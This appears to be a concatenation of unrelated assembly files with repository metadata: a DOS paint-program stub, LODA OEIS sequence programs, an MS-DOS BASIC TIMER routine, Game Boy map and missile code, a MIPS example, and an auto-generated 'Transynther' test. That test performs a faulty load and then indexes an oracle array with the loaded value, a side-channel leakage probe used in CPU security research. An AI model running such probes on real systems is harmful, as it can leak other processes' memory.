_BackgroundFN db 'paintbg.png',0
_FontFN db 'font.png',0
; Use this constant in DrawPixelD() to normalize the 0-1.5 range to 0-1 range
_MapTo1 dq 1.5
; Use this constant in AlphaBlit() to round the division by 256 properly.
_RoundingFactor dd 800080h, 80h
SECTION .text
; Program Start
_main
call _LibInit
; Change this to 0 to simplify debugging
; (it disables the "rubberbanding" feature which will call the
; respective function every time the mouse moves).
; During handin, we will test with rubberbanding enabled!
mov byte [_RubberBandFlag], 1
; Graphics init
invoke _SetGraphics, word 640, word 480
test eax, eax
jnz near .quit
; Mouse/Keyboard init
call _InstallMouse
call libInstallKeyboard
; Allocate Back Image buffer
invoke _AllocMem, dword 640*480*4
cmp ax, -1
je near .exit
mov [_ImageBlock], ax
; Allocate Overlay Image buffer
invoke _AllocMem, dword 640*480*4
cmp ax, -1
je near .exit
mov [_OverlayBlock], ax
; Allocate Font Image buffer
invoke _AllocMem, dword 2048*16*4
cmp ax, -1
je .exit
mov [_FontBlock], ax
; Load background, font, set up initial display
invoke _LoadPNG, dword _BackgroundFN, word [_ImageBlock], dword 0, dword 0, dword 0
invoke _LoadPNG, dword _FontFN, word [_FontBlock], dword 0, dword 0, dword 0
call libCopyImageToScreen
call _RefreshVideoBuffer
; Main event processing loop
.loop:
cmp byte [_ExitFlag], 0
jnz .exit
call libCheckEvents
test eax, eax
jz .loop ; No events
; Call proper state handler for new event
movzx eax, byte [_CurrentState]
call [_StateHandlers+eax*4]
jmp short .loop
.exit:
; Shutdown and cleanup
call libRemoveKeyboard
call _RemoveMouse
call _UnsetGraphics
invoke _FreeMem, word [_FontBlock]
invoke _FreeMem, word [_OverlayBlock]
invoke _FreeMem, word [_ImageBlock]
.quit:
call MP4LibExit
call _LibExit
ret
;--------------------------------------------------------------
;-- ClearImage() --
;--------------------------------------------------------------
proc _ClearImage
%$Color arg 4
invoke libClearImage, dword [ebp+%$Color]
endproc
;--------------------------------------------------------------
;-- InstallMouse() --
;--------------------------------------------------------------
_InstallMouse
call libInstallMouse
ret
;--------------------------------------------------------------
;-- RemoveMouse() --
;--------------------------------------------------------------
_RemoveMouse
call libRemoveMouse
ret
;--------------------------------------------------------------
;-- MouseCallback() --
;--------------------------------------------------------------
proc _MouseCallback
%$DPMIRegsPtr arg 4
invoke libMouseCallback, dword [ebp+%$DPMIRegsPtr]
endproc
_MouseCallback_end
;--------------------------------------------------------------
;-- DrawChar() --
;--------------------------------------------------------------
proc _DrawChar
%$DestSel arg 2
%$Dest arg 4
%$Char arg 2
%$CharNum arg 4
%$Color arg 4
invoke libDrawChar, word [ebp+%$DestSel], dword [ebp+%$Dest], word [ebp+%$Char], dword [ebp+%$CharNum], dword [ebp+%$Color]
endproc
;--------------------------------------------------------------
;-- AlphaBlit() --
;--------------------------------------------------------------
proc _AlphaBlit
%$DestSel arg 2
%$Dest arg 4
%$DestWidth arg 4
%$DestX arg 2
%$DestY arg 2
%$SrcSel arg 2
%$Src arg 4
%$SrcWidth arg 4
%$SrcHeight arg 4
invoke libAlphaBlit, word [ebp+%$DestSel], dword [ebp+%$Dest], dword [ebp+%$DestWidth], word [ebp+%$DestX], word [ebp+%$DestY], word [ebp+%$SrcSel], dword [ebp+%$Src], dword [ebp+%$SrcWidth], dword [ebp+%$SrcHeight]
endproc
;--------------------------------------------------------------
;-- AlphaCompose() --
;--------------------------------------------------------------
_AlphaCompose
call libAlphaCompose
ret
;--------------------------------------------------------------
;-- AALine() --
;--------------------------------------------------------------
proc _AALine
%$x1 arg 2
%$y1 arg 2
%$x2 arg 2
%$y2 arg 2
%$color arg 4
; These are local variables.. access them as [ebp+.varname]
; You need to uncomment the sub esp and mov esp lines to use these.
; Notice the last equ is the positive version of the last variable offset.
.du equ -4 ;4 bytes
.dv equ -8 ;4
.d equ -12 ;4
.incrS equ -16 ;4
.incrD equ -20 ;4
.twovdu equ -24 ;4
.u equ -28 ;4
.v equ -32 ;4
.invD equ -40 ;8
.invD2du equ -48 ;8
.uincr equ -52 ;4
.vincr equ -56 ;4
.uend equ -60 ;4
.addr equ -64 ;4
.vmax equ -68 ;4
.temp equ -76 ;8
.StackFrameSize equ 76
; sub esp, .StackFrameSize
invoke libAALine, word [ebp+%$x1], word [ebp+%$y1], word [ebp+%$x2], word [ebp+%$y2], dword [ebp+%$color]
; mov esp, ebp
endproc
;--------------------------------------------------------------
;-- DrawPixelD() --
;--------------------------------------------------------------
_DrawPixelD_arglen equ 8
proc _DrawPixelD
%$addr arg 4
%$color arg 4
invoke libDrawPixelD, dword [ebp+%$addr], dword [ebp+%$color]
endproc
| 24.908759 | 216 | 0.557216 |
26cfba81c89c9b9aca178eb5b1b9025ce445f8e1 | 571 | asm | Assembly | oeis/144/A144551.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/144/A144551.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/144/A144551.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A144551: a(n) = nonprime(n)*nonprime(n+1)/2, where nonprime(n) = A141468(n).
; Submitted by Jamie Morken(s2)
; 0,2,12,24,36,45,60,84,105,120,144,180,210,231,264,300,325,351,378,420,480,528,561,595,630,684,741,780,840,924,990,1035,1104,1176,1225,1275,1326,1404,1485,1540,1596,1653,1740,1860,1953,2016,2080,2145,2244,2346
mov $2,1
mov $4,2
lpb $4
sub $4,1
add $0,$4
sub $0,1
mov $3,$0
max $3,0
seq $3,18252 ; The nonprime numbers: 1 together with the composite numbers, A002808.
mov $5,$4
mul $5,$3
add $1,$5
lpe
mul $2,$3
mul $1,$2
mov $0,$1
div $0,2
| 25.954545 | 210 | 0.660245 |
5d448961eb40054a688eb2bf59ffa18f547f78fa | 1,181 | asm | Assembly | programs/oeis/131/A131509.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/131/A131509.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/131/A131509.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A131509: a(n) = (n + 1)*(n^2 + 2)*(n^3 + 3)/6.
; 1,4,33,220,1005,3456,9709,23528,50985,101260,187561,328164,547573,877800,1359765,2044816,2996369,4291668,6023665,8303020,11260221,15047824,19842813,25849080,33300025,42461276,53633529,67155508,83407045,102812280,125842981,153021984,184926753,222193060,265518785,315667836,373474189,439846048,515770125,602316040,700640841,811993644,937720393,1079268740,1238193045,1416159496,1614951349,1836474288,2082761905,2355981300,2658438801,2992585804,3361024733,3766515120,4211979805,4700511256,5235378009,5820031228,6458111385,7153455060,7910101861,8732301464,9624520773,10591451200,11638016065,12769378116,13990947169,15308387868,16727627565,18254864320,19896575021,21659523624,23550769513,25577675980,27747918825,30069495076,32550731829,35200295208,38027199445,41040816080,44250883281,47667515284,51301211953,55162868460,59263785085,63615677136,68230684989,73121384248,78300796025,83782397340,89580131641,95708419444,102182169093,109016787640,116228191845,123832819296,131847639649,140290165988,149178466305,158531175100,168367505101
mov $1,$0
add $0,1
pow $0,2
pow $1,3
add $1,1
add $0,$1
add $1,2
mul $1,$0
sub $1,6
div $1,6
add $1,1
| 78.733333 | 1,028 | 0.845893 |
64028ab9fd36ee4a9d7b8e847ccbda5dffe826fa | 2,960 | asm | Assembly | 45/runtime/rt/ostimer.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/ostimer.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/ostimer.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | TITLE OSTIMER - MS-DOS TIMER support
;***
; OSTIMER - MS-DOS TIMER Support
;
; Copyright <C> 1988, Microsoft Corporation
;
;Purpose:
;
; BASIC Syntax mapping to included runtime entry points:
;
;
; - TIMER Function:
;
; var = TIMER
; |
; B$TIMR
;
;******************************************************************************
INCLUDE switch.inc
INCLUDE rmacros.inc
USESEG OS_TEXT
USESEG MT_TEXT
USESEG _BSS
USESEG _DATA
INCLUDE seg.inc
INCLUDE oscalls.inc
INCLUDE files.inc
C_GETTIM EQU 44 ;Get Time Function (for CALLOS)
sBegin _BSS
externB b$Buf1 ;Floating point temporary storage
sEnd _BSS
sBegin MT_TEXT
externNP B$fmldw
sEnd MT_TEXT
sBegin OS_TEXT
assumes CS,OS_TEXT
SUBTTL B$TIMR - elapsed time since midnight
PAGE
;***
; B$TIMR - returns number of seconds past midnight of current day.
;
; Input:
; NONE
; Output:
; AX = ptr to s.p. number of seconds since midnight
; Modifies:
; NONE
; Exceptions:
;****
cProc B$TIMR,<PUBLIC,FAR,FORCEFRAME>,<SI,ES>
cBegin
CALLOS GETTIM ;CH=hour, CL=min, DH=sec, DL=Hundreths of sec
MOV AL,60 ;convert hours to minutes, stay int as long as
MUL CH ;as possible, result in ax
XOR CH,CH ;cx = minutes
ADD AX,CX ;ax = number of minutes past midnight
MOV BX,AX ;bx = number of minutes past midnight
PUSH DX
CALL B$fmldw ;ST0 = number of minutes past midnight
POP DX
MOV AX,60 ;ah = 0 so "op" will be "*" in ST0 = ST0 op AL
CALL ST0OpAl ; (convert minutes to seconds)
MOV AL,DH ;al = number of seconds
MOV AH,1 ;ah is 1 so "op" will be "+" in
CALL ST0OpAl ; ST0 = ST0 op AL
MOV AX,100 ;[ah] = 0 so "op" will be "*" in ST0OpAl
CALL ST0OpAl ;convert ST0 to hundreths of seconds
MOV AL,DL ;[al] = hundreths of seconds
MOV AH,1 ;[ah] is 1 so "op" will be "+"
CALL ST0OpAl ;in ST0 = ST0 op AL
MOV AX,0200H + 100d ;[ah] = 2 so "op" will be "/" in ST0OpAl
CALL ST0OpAl ;convert ST0 to seconds from hundreths
MOV BX,OFFSET DGROUP:b$Buf1 ; BX = ptr to s.p. temp store loc.
;of seconds
FSTP DWORD PTR [BX] ;put s.p. equivalent into FAC
XCHG AX,BX ;restore pointer to result (retval)
FWAIT ;ensure result in RAM prior to return
cEnd
PAGE
;***
;ST0OpAl - Add or multiply contents of AL and the ST0, returning result in ST0
;Purpose:
; Either adds or mulitplies the contents of ST0 by the value in AL.
; The result is returned in the ST0.
;Entry:
; AH - 0 then multiply
; 1 then add
; else divide ST0 by AL
; AL - value to multiply/add to or divide into ST0
;Exit:
; ST0 - contains result
;Preserves:
; SI, DI, DX
;Exceptions:
; None.
;****
cProc ST0OpAl,<NEAR>,<DX>
cBegin
PUSH AX
MOV BL,AL
XOR BH,BH
CALL B$fmldw ; ST0 = input value
POP AX
OR AH,AH
JZ ST0MUL ; brif we're to multiply ST1 by ST0
DEC AH
JZ ST0ADD ; brif we're to add ST0 to ST1
FDIV ; ST0 = ST1/ST0
JMP SHORT ST0Ret
ST0MUL:
FMUL ; ST0 = ST1 * ST0
JMP SHORT ST0Ret
ST0ADD:
FADD ; ST0 = ST1 + ST0
ST0Ret:
cEnd ST0OpAl
sEnd OS_TEXT
END
| 20.84507 | 79 | 0.663851 |
30f40702762cd957213b0624660055a3ee80642c | 338 | asm | Assembly | src/maps.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | 1 | 2020-03-28T22:38:50.000Z | 2020-03-28T22:38:50.000Z | src/maps.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | null | null | null | src/maps.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | null | null | null | SECTION "Maps", ROMX[$4000], BANK[2]
MapTuto::
incbin "assets/tutorial"
Map1::
incbin "assets/Map_Elden_1"
Map2::
incbin "assets/Map_Elden_2"
Map3::
incbin "assets/Map_Elden_3"
Map4::
incbin "assets/Map_Elden_4"
SECTION "Maps2", ROMX[$4000], BANK[3]
Map5::
incbin "assets/Map_Elden_5"
Map6::
incbin "assets/Map_Elden_last"
| 13.52 | 37 | 0.713018 |
8e3aef09199d3dc838785815b4e00384507debc3 | 4,935 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1811.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1811.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1811.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x50b8, %r8
nop
and $49135, %rsi
movb (%r8), %dl
nop
nop
nop
nop
nop
and $52578, %r15
lea addresses_UC_ht+0xdf46, %rsi
lea addresses_normal_ht+0x5cf8, %rdi
nop
nop
nop
nop
nop
sub $20664, %r13
mov $3, %rcx
rep movsl
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_normal_ht+0x17ab8, %rcx
nop
nop
nop
dec %r13
mov (%rcx), %rdx
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x1825c, %rcx
nop
nop
nop
nop
nop
xor %rdx, %rdx
mov $0x6162636465666768, %r15
movq %r15, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
nop
nop
nop
add $43327, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %r9
push %rax
push %rbx
push %rdx
// Faulty Load
lea addresses_WT+0xfbb8, %r9
nop
nop
nop
and $59409, %rdx
movups (%r9), %xmm6
vpextrq $1, %xmm6, %r11
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 42.913043 | 2,999 | 0.662411 |
f1fefec00a93e8946a700a24094b22b0f6fc5e33 | 315 | asm | Assembly | Asm/4.13.asm | cquca/csco_book_codes | ccf709d744454695ad9460cad4c241439592d3ab | [
"MIT"
] | 3 | 2020-05-08T03:12:53.000Z | 2021-05-02T10:25:19.000Z | Asm/4.13.asm | cquca/csco_book_codes | ccf709d744454695ad9460cad4c241439592d3ab | [
"MIT"
] | null | null | null | Asm/4.13.asm | cquca/csco_book_codes | ccf709d744454695ad9460cad4c241439592d3ab | [
"MIT"
] | null | null | null | .data
array:.word -4,5,8,-1
msg1:.asciiz"\n The sum of the positive values="
msg2:.asciiz"\n The sum of the negative values="
.globl main
.text
main:
li $v0,4
la $a0,msg1
syscall
la $a0,array
li $a1,4
jal sum
move $a0,$v0
li $v0,1
syscall
li $v0,4
la $a0,msg2
syscall
li $v0,1
move $a0,$v1
syscall
li $v0,10
syscall | 13.125 | 48 | 0.695238 |
30143e588fb8f44d34db80e17c37c2a59abcd9bb | 658 | asm | Assembly | oeis/115/A115500.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/115/A115500.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/115/A115500.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A115500: Number of monic irreducible polynomials of degree 1 in GF(2^n)[x1,x2,x3,x4].
; 30,340,4680,69904,1082400,17043520,270549120,4311810304,68853957120,1100586419200,17600780175360,281543712968704,4504149450301440,72061992352890880,1152956690052710400,18447025552981295104,295150156996346511360,4722384497336874434560,75558007841377277706240,1208926972537233294229504,19342822337210501698682880,309485083608338955753226240,4951760747437401827054714880,79228167236631101938182651904,1267650638007162390353805312000,20282409905883129831204239441920,324518556076278384026813013688320
add $0,1
seq $0,20514 ; a(n) = 1^n + 2^n + 4^n + 8^n + 16^n.
sub $0,1
| 94 | 498 | 0.861702 |
2daa1af5eccb032689da46e7c1a0348a3b59fcc1 | 11,373 | asm | Assembly | src/missile.asm | QuinnPainter/Renegade-Rush | 84f5bf1af0a8fda258e6f963dad411f983923f5a | [
"MIT"
] | 1 | 2021-09-17T08:19:10.000Z | 2021-09-17T08:19:10.000Z | src/missile.asm | QuinnPainter/Renegade-Rush | 84f5bf1af0a8fda258e6f963dad411f983923f5a | [
"MIT"
] | 1 | 2020-05-25T11:19:44.000Z | 2020-05-25T11:19:44.000Z | src/missile.asm | QuinnPainter/Renegade-Rush | 84f5bf1af0a8fda258e6f963dad411f983923f5a | [
"MIT"
] | null | null | null | INCLUDE "hardware.inc"
INCLUDE "macros.inc"
INCLUDE "spriteallocation.inc"
INCLUDE "collision.inc"
DEF MISSILE_TILE_OFFSET EQUS "((MissileTilesVRAM - $8000) / 16)"
DEF MISSILE_ACCELERATION EQU $0026 ; How fast missile accelerates, in pixels per frame per frame. 8.8
DEF MISSILE_ANIM_SPEED EQU 4 ; Number of frames between the animation cels.
RSRESET
DEF MissileX RB 2 ; Position of missile. 8.8
DEF MissileY RB 2 ;
DEF MissileYSpeed RB 2 ; Y speed. Will always be positive, regardless of missile direction. 8.8
DEF MissileState RB 1 ; Bit 0 [0 = Inactive, 1 = Active], Bit 1 [0 = Moving Down, 1 = Moving Up]
DEF MissileSprite RB 1 ; Low byte of the address in the SpriteBuffer.
DEF MissileAnimState RB 1 ; 0 = Cel 1, FF = Cel 2
DEF MissileAnimFrameCtr RB 1
DEF MissileCollisionIndex RB 1 ; Index into the object collision array
DEF MissileCollisionFlags RB 1 ; Object collision flags, determines which objects this missile will collide with
DEF sizeof_MissileVars RB 0
SECTION "Missile1Vars", WRAM0, ALIGN[8]
Missile1Vars: DS sizeof_MissileVars
SECTION "Missile2Vars", WRAM0, ALIGN[8]
Missile2Vars: DS sizeof_MissileVars
SECTION "MissileCode", ROM0
; Initialise all missiles
initMissiles::
ld h, HIGH(Missile1Vars)
ld c, LOW(sizeof_OAM_ATTRS * MISSILE_SPRITE_1)
ld d, MISSILE_COLLISION_1
call initMissile
ld h, HIGH(Missile2Vars)
ld c, LOW(sizeof_OAM_ATTRS * MISSILE_SPRITE_2)
ld d, MISSILE_COLLISION_2
call initMissile
ret
; Updates all missiles
updateMissiles::
ld h, HIGH(Missile1Vars)
call updateMissile
ld h, HIGH(Missile2Vars)
call updateMissile
ret
; Initialises a single missile
; Input - H = High byte of missile state address
; Input - C = Low byte of sprite address
; Input - D = Collision array index
initMissile:
ld l, LOW(Missile1Vars) + MissileState
xor a
ld [hli], a ; Set state to Inactive
ld [hl], c ; Set sprite address
inc l
ld b, HIGH(SpriteBuffer) ; Set sprite Y position to 0 (offscreen)
ld [bc], a ;
ld [hli], a ; Set MissileAnimState to 0
inc a
ld [hli], a ; Set MissileAnimFrameCtr to 1
ld [hl], d ; Set MissileCollisionIndex
ret
; Updates a single missile
; Input - H = High byte of missile state address
updateMissile:
ld l, LOW(Missile1Vars) + MissileState
ld a, [hl]
rra ; set carry to bit 0 (inactive / active)
jr c, .missileActive
; Missile is inactive
ld l, LOW(Missile1Vars) + MissileCollisionIndex ; \
ld a, [hl] ; |
add LOW(ObjCollisionArray) ; |
ld c, a ; | disable collision array entry
ld b, HIGH(ObjCollisionArray) ; |
xor a ; |
ld [bc], a ; /
ret
.missileActive:
; Update position
rra ; set carry to bit 1 (moving down / moving up)
ld l, LOW(Missile1Vars) + MissileYSpeed ; \
ld a, [hli] ; | BC = MissileYSpeed
ld c, [hl] ; |
ld b, a ; /
ld l, LOW(Missile1Vars) + MissileY + 1 ; A = low byte MissileY
ld a, [hl] ;
jr c, .movingUp
add c ; \
ld [hld], a ; |
ld a, [hl] ; | moving down - MissileY += MissileYSpeed
adc b ; |
ld [hl], a ; /
jr .doneProcessMove
.movingUp:
sub c ; \
ld [hld], a ; |
ld a, [hl] ; | moving up - MissileY -= MissileYSpeed
sbc b ; |
ld [hl], a ; /
.doneProcessMove:
cp 200 ; \
jr c, .notOffScreen ; |
xor a ; |
ld l, LOW(Missile1Vars) + MissileState ; | deactivate missile if it went offscreen
ld [hl], a ; |
ld l, LOW(Missile1Vars) + MissileCollisionIndex ; \
ld a, [hl] ; |
add LOW(ObjCollisionArray) ; |
ld c, a ; | disable collision array entry
ld b, HIGH(ObjCollisionArray) ; |
xor a ; |
ld [bc], a ; /
jr .updateSprite ; |
.notOffScreen: ; /
; Update speed
ld l, LOW(Missile1Vars) + MissileYSpeed + 1 ; \
ld a, [hl] ; |
add LOW(MISSILE_ACCELERATION) ; |
ld [hld], a ; | MissileYSpeed += MISSILE_ACCELERATION
ld a, [hl] ; |
adc HIGH(MISSILE_ACCELERATION) ; |
ld [hl], a ; /
; Update entry in object collision array
ld b, h ; Use BC instead of HL for missile vars for now
ld l, LOW(Missile1Vars) + MissileCollisionIndex ; \
ld a, [hl] ; |
add LOW(ObjCollisionArray) ; | HL = ObjCollisionArray pointer
ld l, a ; |
ld h, HIGH(ObjCollisionArray) ; /
ld c, LOW(Missile1Vars) + MissileCollisionFlags
ld a, [bc] ; Collision Layer Flags
ld [hli], a
ld c, LOW(Missile1Vars) + MissileY
ld a, [bc] ; Top Y
ld [hli], a
add 9 ; Bottom Y - missile is 9 px tall
ld [hli], a
ld c, LOW(Missile1Vars) + MissileX
ld a, [bc] ; Left X
ld [hli], a
add 8 ; Right X - missile is 8 px wide
ld [hl], a
ld h, b ; Put HL back as the missile var pointer
; Check for collisions
ld l, LOW(Missile1Vars) + MissileCollisionIndex
ld a, [hl]
push hl
call objCollisionCheck
pop hl
and a
jr z, .noCol ; collision happened - missile was destroyed
; disabling immediately can mean missed collisions
; so just hide it, and it will be destroyed next frame due to going offscreen
ld a, 230
;ld l, LOW(Missile1Vars) + MissileState ; \
;xor a ; | state = disabled
;ld [hl], a ; /
ld l, LOW(Missile1Vars) + MissileY ; move missile offscreen
ld [hl], a ;
.noCol:
.updateSprite:
; Update sprite position
ld l, LOW(Missile1Vars) + MissileSprite ; \
ld c, [hl] ; | BC = Y Position attribute of MissileSprite
ld b, HIGH(SpriteBuffer) ; /
ld l, LOW(Missile1Vars) + MissileY ; \
ld a, [hl] ; | [BC] = MissileY
ld [bc], a ; /
inc c ; BC = X Position attribute
ld l, LOW(Missile1Vars) + MissileX ; \
ld a, [hl] ; | [BC] = MissileX
ld [bc], a ; /
; Update animation state
ld l, LOW(Missile1Vars) + MissileAnimFrameCtr
dec [hl]
jr nz, .noUpdateAnimation
ld a, MISSILE_ANIM_SPEED ; Reset frame counter
ld [hld], a ;
ld a, [hl] ; \
cpl ; | Invert MissileAnimState
ld [hl], a ; /
.noUpdateAnimation:
; Set sprite tiles based on current animation frame
inc c ; BC = Tile Index
ld l, LOW(Missile1Vars) + MissileAnimState
ld a, [hl]
and a
ld a, MISSILE_TILE_OFFSET
jr nz, .cel1
add 2
.cel1:
ld [bc], a
ret
; Fire the player's missile
; Always uses missile number 1, and therefore the player can only have 1 missile on screen at a time
; Sets - H L A to garbage
firePlayerMissile::
ld hl, Missile1Vars + MissileState ; \
ld a, %11 ; | Set state to Active and Moving Up
ld [hl], a ; /
ld l, LOW(Missile1Vars) + MissileX ; \
ld a, [PlayerX] ; | MissileX = (PlayerX + offset) so missile is centered
add (16 / 2) - (8 / 2) ; | PlayerWidth / 2 - MissileWidth / 2
ld [hli], a ; /
inc l ; \
ld a, [PlayerY] ; | MissileY = PlayerY - 12
sub 10 ; |
ld [hli], a ; /
xor a ; \
ld [hli], a ; | MissileY low byte = 0
ld [hli], a ; | MissileYSpeed = 0
ld [hli], a ; /
